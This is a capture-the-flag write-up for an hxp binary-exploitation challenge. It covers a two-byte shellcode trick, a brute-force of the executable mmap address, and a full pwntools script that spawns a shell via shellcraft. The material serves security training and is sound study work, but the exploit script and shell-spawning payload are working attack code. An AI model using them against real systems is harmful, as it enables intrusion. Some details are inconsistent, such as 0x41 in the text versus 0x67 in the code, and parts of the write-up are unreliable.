Solved & written up by monocleus
## Challenge description
The challenge's binary is very similar to no-eeeeeeeeeemoji from Dragon Sector CTF 2020 ( https://ctftime.org/task/14011 ). 
For those who didn't play that CTF, the binary presents with a menu of three choices:
(b)eer - Generates a random address, allocates a RWX page via mmap() and saves it to a global variable(h)orse - Uses the allocated RWX map in the following way:
* Take 0x1000 bytes from user* Overwrite parts of it with character 'A', with the final layout being the following:    * 0x0 - 0x100: User-controlled    * 0x100 - 0x200: 'A' filler    * 0x200 - 0x202: User-controlled    - 0x202 - 0x23E: Program Shellcode #2 ( provided by the binary ).     - 0x23E - 0x300: 'A' filler    - 0x300 - 0x400: User controlled    - 0x400 - 0x413: Program Shellcode #1 ( also provided by the binary )    - 0x413 - 0x1000: User controlled
Then, execution gets passed to Program Shellcode #1 which overwrites 0x10000 bytes on stack and overwrites all registers other than RSP and RIP with 0xDEADBEEFDEADBEEF. Then, execution gets passed to code at 0x200 - providing you with two-bytes worth of code execution, followed by the shellcode consisting of mostly NOPs, followed by two syscalls:* write(1, buf, 0x26)* exit() 
## Binary patches
The binary is, however, patched at several places:
1) The VDSO cannot be leaked anymore as puts() gets nopped out2) The function that generates random rwx page has been simplified ( no transformation of rand() result other than shifting it 12 bits left ) and removing the < 0x10000 check. This effectively makes the function return mmaps equal to rand() << 123) The first syscall ( write ) out of Program Shellcode #2 gets patched out.
This makes the attack described in previous writeup impractical.
## Solution
Again, the major problem here is the very constrained environment - only two bytes space for code execution, all registers are nuked, and stack is full of 0x4141414141414141 ( 'AAAAAAAA') entries.
Our solution here was to take advantage of the following NOP bytes, by using 0x41 0xFF. This in turn will concatenate with NOPs into a 0x41 0xFF 0x90 0x90 0x90 0x90 0x90 - **call qword ptr ds:[eax-0x6F6F6F70]**
Recall that RAX = 0xDEADBEEFDEADBEEF, which means eax = 0xDEADBEEF. 0xDEADBEEF - 0x6F6F6F70 = 0x6F3E4F7F, which means that assuming we can control 0x6F3E4F7F ( which we can - 0xF7F is not an offset overwritten by the 'A' ), we can call into an arbitrary location and gain comfortable code execution. 
So, the plan was as follows:* Bruteforce the mmap until we gain a mmap at 0x6F3E4000* Write at 0x6F3E4F7F - 0x6F3E4000* Write our shellcode at 0x6F3E4000
Doing so will net you code execution and ability to get the flag:
```pythonfrom pwn import *
def choose_from_menu(choice):    io.sendlineafter('beer\n\n', choice)
def beer():    choose_from_menu('b')    io.recvuntil('@')    address = io.recvline()[:-1]    if address == "(nil)":        return_address = 0    else:        return_address = int(address,16)    return return_address
io = remote('116.203.18.177',65432)l = log.progress('brutforcing mmap: ')while True:    mmap = beer()    l.status(hex(mmap))    if mmap == 0x6F3E4000:        breakl.success('success!')info('mmap: {}'.format(hex(mmap)))
#Shellcodepayload = asm(shellcraft.amd64.sh(),arch='amd64')#Pad to 0x200payload += '\xaa' * (512 - len(payload))#call qword ptr ds:[eax-0x...]payload += '\x67\xFF'#Pad to 0xF7Fpayload += '\xaa' * (3967 - len(payload))#Read address for qword trampolinepayload += '\x00\x40\x3E\x6F\x00\x00\x00\x00'#Pad to 0x1000payload += '\xaa' * (4096 - len(payload))l = log.progress("Sending payload..")choose_from_menu('h')io.sendlineafter('gib:\n', payload)l.success("Sent payload.")io.interactive()```
```hxp{5uch_4_ch34p_c45h_3rrr_fl4g_gr4b}```